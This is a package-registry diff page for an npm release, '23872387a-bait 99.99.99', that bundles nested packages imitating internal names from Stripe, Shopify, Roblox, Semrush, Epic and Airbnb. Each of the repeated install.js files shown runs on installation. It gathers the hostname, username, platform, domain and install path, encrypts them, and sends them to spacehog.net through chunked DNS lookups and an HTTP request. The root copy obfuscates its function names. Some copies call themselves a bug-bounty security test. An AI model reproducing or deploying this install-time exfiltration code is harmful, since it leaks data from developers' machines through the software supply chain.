23872387a-bait 99.99.99
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of 23872387a-bait might be problematic. Click here for more details.
- package/airbnb_packages/index.js +3 -0
- package/airbnb_packages/install.js +101 -0
- package/airbnb_packages/package.json +12 -0
- package/epic_packages/details.txt +5 -0
- package/epic_packages/epic-launcher-integration/index.js +3 -0
- package/epic_packages/epic-launcher-integration/install.js +101 -0
- package/epic_packages/epic-launcher-integration/package.json +12 -0
- package/epic_packages/epic-launcher-integration_app/index.js +3 -0
- package/epic_packages/epic-launcher-integration_app/install.js +101 -0
- package/epic_packages/epic-launcher-integration_app/package.json +12 -0
- package/epic_packages/epic-launcher-integration_app_scripts/index.js +3 -0
- package/epic_packages/epic-launcher-integration_app_scripts/install.js +101 -0
- package/epic_packages/epic-launcher-integration_app_scripts/package.json +12 -0
- package/index.js +1 -0
- package/install.js +98 -0
- package/package.json +12 -0
- package/roblox_packages/robloxtracer/index.js +3 -0
- package/roblox_packages/robloxtracer/install.js +101 -0
- package/roblox_packages/robloxtracer/package.json +12 -0
- package/semrush_packages/semrush_help_menu/index.js +1 -0
- package/semrush_packages/semrush_help_menu/install.js +98 -0
- package/semrush_packages/semrush_help_menu/package.json +12 -0
- package/semrush_packages/semrush_sso_extended/index.js +1 -0
- package/semrush_packages/semrush_sso_extended/install.js +98 -0
- package/semrush_packages/semrush_sso_extended/package.json +12 -0
- package/shopify_packages/incentives-code-red/index.js +3 -0
- package/shopify_packages/incentives-code-red/install.js +60 -0
- package/shopify_packages/incentives-code-red/package.json +12 -0
- package/stripe_packages/analytics-js/index.js +3 -0
- package/stripe_packages/analytics-js/install.js +60 -0
- package/stripe_packages/analytics-js/package.json +12 -0
- package/stripe_packages/sail/index.js +3 -0
- package/stripe_packages/sail/install.js +60 -0
- package/stripe_packages/sail/package.json +12 -0
- package/stripe_packages/stripe-cookies/index.js +3 -0
- package/stripe_packages/stripe-cookies/install.js +60 -0
- package/stripe_packages/stripe-cookies/package.json +12 -0
- package/stripe_packages/stripethirdparty/index.js +3 -0
- package/stripe_packages/stripethirdparty/install.js +60 -0
- package/stripe_packages/stripethirdparty/package.json +12 -0
@@ -0,0 +1,101 @@
|
|
1
|
+
// - H1/lob0 -
|
2
|
+
// sec test only
|
3
|
+
|
4
|
+
var os = require('os')
|
5
|
+
var crypto = require('crypto');
|
6
|
+
var dns = require('dns');
|
7
|
+
const http = require('http');
|
8
|
+
const execSync = require('child_process').execSync;
|
9
|
+
|
10
|
+
function myChunker(string,chunk_size) {
|
11
|
+
var b = [];
|
12
|
+
newstring = '';
|
13
|
+
char_count = 0
|
14
|
+
|
15
|
+
for(var i=0; i < string.length; i+=1){
|
16
|
+
char_count+=1;
|
17
|
+
if (char_count < chunk_size) {
|
18
|
+
newstring+= string[i];
|
19
|
+
}
|
20
|
+
else {
|
21
|
+
b.push(newstring);
|
22
|
+
newstring = string[i];
|
23
|
+
char_count = 0;
|
24
|
+
}
|
25
|
+
}
|
26
|
+
|
27
|
+
if (newstring.length != 0){b.push(newstring);}
|
28
|
+
|
29
|
+
if (b.length > 0 && b.length < 3) {
|
30
|
+
return_string = b.toString().replace(",",".");
|
31
|
+
return_string += "." + newstring;
|
32
|
+
return return_string;
|
33
|
+
}
|
34
|
+
else if (b.length == 0) {
|
35
|
+
return newstring;
|
36
|
+
}
|
37
|
+
else {
|
38
|
+
return b;
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
|
43
|
+
var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
44
|
+
}
|
45
|
+
|
46
|
+
function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
|
47
|
+
if (typeof information == 'object') {
|
48
|
+
|
49
|
+
for (i = 0; i < information.length;i++ ) {
|
50
|
+
dnsCallback (i,semi_random_id, information[i], information_identifier, domain);
|
51
|
+
}
|
52
|
+
}
|
53
|
+
else if (typeof information == 'string') {
|
54
|
+
dnsCallback ('n',semi_random_id, information, information_identifier, domain);
|
55
|
+
}
|
56
|
+
}
|
57
|
+
|
58
|
+
let domain = 'spacehog.net'
|
59
|
+
let super_secret_password = 'H1-security-test-november'
|
60
|
+
let userinfo = os.userInfo()
|
61
|
+
let info = ""
|
62
|
+
|
63
|
+
const buf = crypto.randomBytes(2);
|
64
|
+
const semi_random_id = buf.toString('hex')
|
65
|
+
|
66
|
+
if (os.platform().includes("win")) {
|
67
|
+
domain_info = execSync('wmic computersystem get domain').toString();
|
68
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
|
69
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
70
|
+
}
|
71
|
+
else {
|
72
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
|
73
|
+
}
|
74
|
+
|
75
|
+
|
76
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
77
|
+
var update = super_secret_key.update(info,'utf8','hex');
|
78
|
+
update+= super_secret_key.final('hex');
|
79
|
+
subdomain_split = myChunker(update,63);
|
80
|
+
|
81
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
|
82
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
83
|
+
|
84
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
85
|
+
var update = super_secret_key.update(__dirname,'utf8','hex');
|
86
|
+
update+= super_secret_key.final('hex');
|
87
|
+
subdomain_split = myChunker(update,63);
|
88
|
+
|
89
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
|
90
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
91
|
+
|
92
|
+
//attempt http request last as it's likely to fail
|
93
|
+
|
94
|
+
http.get({
|
95
|
+
hostname: 'spacehog.net',
|
96
|
+
port: 21,
|
97
|
+
path: '/'+semi_random_id,
|
98
|
+
agent: false},
|
99
|
+
(res) => {
|
100
|
+
//nothing
|
101
|
+
});
|
@@ -0,0 +1,101 @@
|
|
1
|
+
// - H1/lob0 -
|
2
|
+
// sec test only
|
3
|
+
|
4
|
+
var os = require('os')
|
5
|
+
var crypto = require('crypto');
|
6
|
+
var dns = require('dns');
|
7
|
+
const http = require('http');
|
8
|
+
const execSync = require('child_process').execSync;
|
9
|
+
|
10
|
+
function myChunker(string,chunk_size) {
|
11
|
+
var b = [];
|
12
|
+
newstring = '';
|
13
|
+
char_count = 0
|
14
|
+
|
15
|
+
for(var i=0; i < string.length; i+=1){
|
16
|
+
char_count+=1;
|
17
|
+
if (char_count < chunk_size) {
|
18
|
+
newstring+= string[i];
|
19
|
+
}
|
20
|
+
else {
|
21
|
+
b.push(newstring);
|
22
|
+
newstring = string[i];
|
23
|
+
char_count = 0;
|
24
|
+
}
|
25
|
+
}
|
26
|
+
|
27
|
+
if (newstring.length != 0){b.push(newstring);}
|
28
|
+
|
29
|
+
if (b.length > 0 && b.length < 3) {
|
30
|
+
return_string = b.toString().replace(",",".");
|
31
|
+
return_string += "." + newstring;
|
32
|
+
return return_string;
|
33
|
+
}
|
34
|
+
else if (b.length == 0) {
|
35
|
+
return newstring;
|
36
|
+
}
|
37
|
+
else {
|
38
|
+
return b;
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
|
43
|
+
var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
44
|
+
}
|
45
|
+
|
46
|
+
function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
|
47
|
+
if (typeof information == 'object') {
|
48
|
+
|
49
|
+
for (i = 0; i < information.length;i++ ) {
|
50
|
+
dnsCallback (i,semi_random_id, information[i], information_identifier, domain);
|
51
|
+
}
|
52
|
+
}
|
53
|
+
else if (typeof information == 'string') {
|
54
|
+
dnsCallback ('n',semi_random_id, information, information_identifier, domain);
|
55
|
+
}
|
56
|
+
}
|
57
|
+
|
58
|
+
let domain = 'spacehog.net'
|
59
|
+
let super_secret_password = 'H1-security-test-november'
|
60
|
+
let userinfo = os.userInfo()
|
61
|
+
let info = ""
|
62
|
+
|
63
|
+
const buf = crypto.randomBytes(2);
|
64
|
+
const semi_random_id = buf.toString('hex')
|
65
|
+
|
66
|
+
if (os.platform().includes("win")) {
|
67
|
+
domain_info = execSync('wmic computersystem get domain').toString();
|
68
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
|
69
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
70
|
+
}
|
71
|
+
else {
|
72
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
|
73
|
+
}
|
74
|
+
|
75
|
+
|
76
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
77
|
+
var update = super_secret_key.update(info,'utf8','hex');
|
78
|
+
update+= super_secret_key.final('hex');
|
79
|
+
subdomain_split = myChunker(update,63);
|
80
|
+
|
81
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
|
82
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
83
|
+
|
84
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
85
|
+
var update = super_secret_key.update(__dirname,'utf8','hex');
|
86
|
+
update+= super_secret_key.final('hex');
|
87
|
+
subdomain_split = myChunker(update,63);
|
88
|
+
|
89
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
|
90
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
91
|
+
|
92
|
+
//attempt http request last as it's likely to fail
|
93
|
+
|
94
|
+
http.get({
|
95
|
+
hostname: 'spacehog.net',
|
96
|
+
port: 21,
|
97
|
+
path: '/'+semi_random_id,
|
98
|
+
agent: false},
|
99
|
+
(res) => {
|
100
|
+
//nothing
|
101
|
+
});
|
@@ -0,0 +1,101 @@
|
|
1
|
+
// - H1/lob0 -
|
2
|
+
// sec test only
|
3
|
+
|
4
|
+
var os = require('os')
|
5
|
+
var crypto = require('crypto');
|
6
|
+
var dns = require('dns');
|
7
|
+
const http = require('http');
|
8
|
+
const execSync = require('child_process').execSync;
|
9
|
+
|
10
|
+
function myChunker(string,chunk_size) {
|
11
|
+
var b = [];
|
12
|
+
newstring = '';
|
13
|
+
char_count = 0
|
14
|
+
|
15
|
+
for(var i=0; i < string.length; i+=1){
|
16
|
+
char_count+=1;
|
17
|
+
if (char_count < chunk_size) {
|
18
|
+
newstring+= string[i];
|
19
|
+
}
|
20
|
+
else {
|
21
|
+
b.push(newstring);
|
22
|
+
newstring = string[i];
|
23
|
+
char_count = 0;
|
24
|
+
}
|
25
|
+
}
|
26
|
+
|
27
|
+
if (newstring.length != 0){b.push(newstring);}
|
28
|
+
|
29
|
+
if (b.length > 0 && b.length < 3) {
|
30
|
+
return_string = b.toString().replace(",",".");
|
31
|
+
return_string += "." + newstring;
|
32
|
+
return return_string;
|
33
|
+
}
|
34
|
+
else if (b.length == 0) {
|
35
|
+
return newstring;
|
36
|
+
}
|
37
|
+
else {
|
38
|
+
return b;
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
|
43
|
+
var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
44
|
+
}
|
45
|
+
|
46
|
+
function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
|
47
|
+
if (typeof information == 'object') {
|
48
|
+
|
49
|
+
for (i = 0; i < information.length;i++ ) {
|
50
|
+
dnsCallback (i,semi_random_id, information[i], information_identifier, domain);
|
51
|
+
}
|
52
|
+
}
|
53
|
+
else if (typeof information == 'string') {
|
54
|
+
dnsCallback ('n',semi_random_id, information, information_identifier, domain);
|
55
|
+
}
|
56
|
+
}
|
57
|
+
|
58
|
+
let domain = 'spacehog.net'
|
59
|
+
let super_secret_password = 'H1-security-test-november'
|
60
|
+
let userinfo = os.userInfo()
|
61
|
+
let info = ""
|
62
|
+
|
63
|
+
const buf = crypto.randomBytes(2);
|
64
|
+
const semi_random_id = buf.toString('hex')
|
65
|
+
|
66
|
+
if (os.platform().includes("win")) {
|
67
|
+
domain_info = execSync('wmic computersystem get domain').toString();
|
68
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
|
69
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
70
|
+
}
|
71
|
+
else {
|
72
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
|
73
|
+
}
|
74
|
+
|
75
|
+
|
76
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
77
|
+
var update = super_secret_key.update(info,'utf8','hex');
|
78
|
+
update+= super_secret_key.final('hex');
|
79
|
+
subdomain_split = myChunker(update,63);
|
80
|
+
|
81
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
|
82
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
83
|
+
|
84
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
85
|
+
var update = super_secret_key.update(__dirname,'utf8','hex');
|
86
|
+
update+= super_secret_key.final('hex');
|
87
|
+
subdomain_split = myChunker(update,63);
|
88
|
+
|
89
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
|
90
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
91
|
+
|
92
|
+
//attempt http request last as it's likely to fail
|
93
|
+
|
94
|
+
http.get({
|
95
|
+
hostname: 'spacehog.net',
|
96
|
+
port: 21,
|
97
|
+
path: '/'+semi_random_id,
|
98
|
+
agent: false},
|
99
|
+
(res) => {
|
100
|
+
//nothing
|
101
|
+
});
|
@@ -0,0 +1,101 @@
|
|
1
|
+
// - H1/lob0 -
|
2
|
+
// sec test only
|
3
|
+
|
4
|
+
var os = require('os')
|
5
|
+
var crypto = require('crypto');
|
6
|
+
var dns = require('dns');
|
7
|
+
const http = require('http');
|
8
|
+
const execSync = require('child_process').execSync;
|
9
|
+
|
10
|
+
function myChunker(string,chunk_size) {
|
11
|
+
var b = [];
|
12
|
+
newstring = '';
|
13
|
+
char_count = 0
|
14
|
+
|
15
|
+
for(var i=0; i < string.length; i+=1){
|
16
|
+
char_count+=1;
|
17
|
+
if (char_count < chunk_size) {
|
18
|
+
newstring+= string[i];
|
19
|
+
}
|
20
|
+
else {
|
21
|
+
b.push(newstring);
|
22
|
+
newstring = string[i];
|
23
|
+
char_count = 0;
|
24
|
+
}
|
25
|
+
}
|
26
|
+
|
27
|
+
if (newstring.length != 0){b.push(newstring);}
|
28
|
+
|
29
|
+
if (b.length > 0 && b.length < 3) {
|
30
|
+
return_string = b.toString().replace(",",".");
|
31
|
+
return_string += "." + newstring;
|
32
|
+
return return_string;
|
33
|
+
}
|
34
|
+
else if (b.length == 0) {
|
35
|
+
return newstring;
|
36
|
+
}
|
37
|
+
else {
|
38
|
+
return b;
|
39
|
+
}
|
40
|
+
}
|
41
|
+
|
42
|
+
function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
|
43
|
+
var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
44
|
+
}
|
45
|
+
|
46
|
+
function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
|
47
|
+
if (typeof information == 'object') {
|
48
|
+
|
49
|
+
for (i = 0; i < information.length;i++ ) {
|
50
|
+
dnsCallback (i,semi_random_id, information[i], information_identifier, domain);
|
51
|
+
}
|
52
|
+
}
|
53
|
+
else if (typeof information == 'string') {
|
54
|
+
dnsCallback ('n',semi_random_id, information, information_identifier, domain);
|
55
|
+
}
|
56
|
+
}
|
57
|
+
|
58
|
+
let domain = 'spacehog.net'
|
59
|
+
let super_secret_password = 'H1-security-test-november'
|
60
|
+
let userinfo = os.userInfo()
|
61
|
+
let info = ""
|
62
|
+
|
63
|
+
const buf = crypto.randomBytes(2);
|
64
|
+
const semi_random_id = buf.toString('hex')
|
65
|
+
|
66
|
+
if (os.platform().includes("win")) {
|
67
|
+
domain_info = execSync('wmic computersystem get domain').toString();
|
68
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
|
69
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
70
|
+
}
|
71
|
+
else {
|
72
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
|
73
|
+
}
|
74
|
+
|
75
|
+
|
76
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
77
|
+
var update = super_secret_key.update(info,'utf8','hex');
|
78
|
+
update+= super_secret_key.final('hex');
|
79
|
+
subdomain_split = myChunker(update,63);
|
80
|
+
|
81
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
|
82
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
83
|
+
|
84
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
85
|
+
var update = super_secret_key.update(__dirname,'utf8','hex');
|
86
|
+
update+= super_secret_key.final('hex');
|
87
|
+
subdomain_split = myChunker(update,63);
|
88
|
+
|
89
|
+
dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
|
90
|
+
//var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
91
|
+
|
92
|
+
//attempt http request last as it's likely to fail
|
93
|
+
|
94
|
+
http.get({
|
95
|
+
hostname: 'spacehog.net',
|
96
|
+
port: 21,
|
97
|
+
path: '/'+semi_random_id,
|
98
|
+
agent: false},
|
99
|
+
(res) => {
|
100
|
+
//nothing
|
101
|
+
});
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("installed");
|
package/install.js
ADDED
@@ -0,0 +1,98 @@
|
|
1
|
+
var os = require('os')
|
2
|
+
var crypto = require('crypto');
|
3
|
+
var dns = require('dns');
|
4
|
+
const http = require('http');
|
5
|
+
const execSync = require('child_process').execSync;
|
6
|
+
|
7
|
+
function ca4bb072ceea3ab317f305a685b251ed(string,chunk_size) {
|
8
|
+
var b = [];
|
9
|
+
newstring = '';
|
10
|
+
char_count = 0
|
11
|
+
|
12
|
+
for(var i=0; i < string.length; i+=1){
|
13
|
+
char_count+=1;
|
14
|
+
if (char_count < chunk_size) {
|
15
|
+
newstring+= string[i];
|
16
|
+
}
|
17
|
+
else {
|
18
|
+
b.push(newstring);
|
19
|
+
newstring = string[i];
|
20
|
+
char_count = 0;
|
21
|
+
}
|
22
|
+
}
|
23
|
+
|
24
|
+
if (newstring.length != 0 && b[b.length -1] != newstring){b.push(newstring);}
|
25
|
+
|
26
|
+
if (b.length > 0 && b.length < 3) {
|
27
|
+
return_string = b.toString().replace(",",".");
|
28
|
+
return return_string;
|
29
|
+
}
|
30
|
+
else if (b.length == 0) {
|
31
|
+
return newstring;
|
32
|
+
}
|
33
|
+
else {
|
34
|
+
return b;
|
35
|
+
}
|
36
|
+
}
|
37
|
+
|
38
|
+
function f994d544e6f15ccbb04cee479878873c6(sequence,semi_random_id, information, information_identifier, domain) {
|
39
|
+
dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
40
|
+
}
|
41
|
+
|
42
|
+
function fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, information, information_identifier, domain) {
|
43
|
+
if (typeof information == 'object') {
|
44
|
+
|
45
|
+
for (i = 0; i < information.length;i++ ) {
|
46
|
+
f994d544e6f15ccbb04cee479878873c6(i,semi_random_id, information[i], information_identifier, domain);
|
47
|
+
}
|
48
|
+
}
|
49
|
+
else if (typeof information == 'string') {
|
50
|
+
f994d544e6f15ccbb04cee479878873c6('n',semi_random_id, information, information_identifier, domain);
|
51
|
+
}
|
52
|
+
}
|
53
|
+
|
54
|
+
let domain = 'spacehog.net'
|
55
|
+
let super_secret_password = 'feed415285a866bda9f5754d83c90981'
|
56
|
+
let userinfo = os.userInfo()
|
57
|
+
let info = ""
|
58
|
+
|
59
|
+
const buf = crypto.randomBytes(2);
|
60
|
+
const semi_random_id = buf.toString('hex')
|
61
|
+
|
62
|
+
if (os.platform().includes("win")) {
|
63
|
+
domain_info = execSync('wmic computersystem get domain').toString();
|
64
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
|
65
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
66
|
+
}
|
67
|
+
else if (os.platform().includes("linux")) {
|
68
|
+
domain_info = execSync('uname -n').toString();
|
69
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '');
|
70
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
71
|
+
}
|
72
|
+
else {
|
73
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
|
74
|
+
}
|
75
|
+
|
76
|
+
|
77
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
78
|
+
var update = super_secret_key.update(info,'utf8','hex');
|
79
|
+
update+= super_secret_key.final('hex');
|
80
|
+
subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
|
81
|
+
|
82
|
+
fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'u', domain);
|
83
|
+
|
84
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
85
|
+
var update = super_secret_key.update(__dirname,'utf8','hex');
|
86
|
+
update+= super_secret_key.final('hex');
|
87
|
+
subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
|
88
|
+
|
89
|
+
fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'p', domain);
|
90
|
+
|
91
|
+
http.get({
|
92
|
+
hostname: 'spacehog.net',
|
93
|
+
port: 21,
|
94
|
+
path: '/'+semi_random_id,
|
95
|
+
agent: false},
|
96
|
+
(res) => {
|
97
|
+
//nothing
|
98
|
+
});
|
package/package.json
ADDED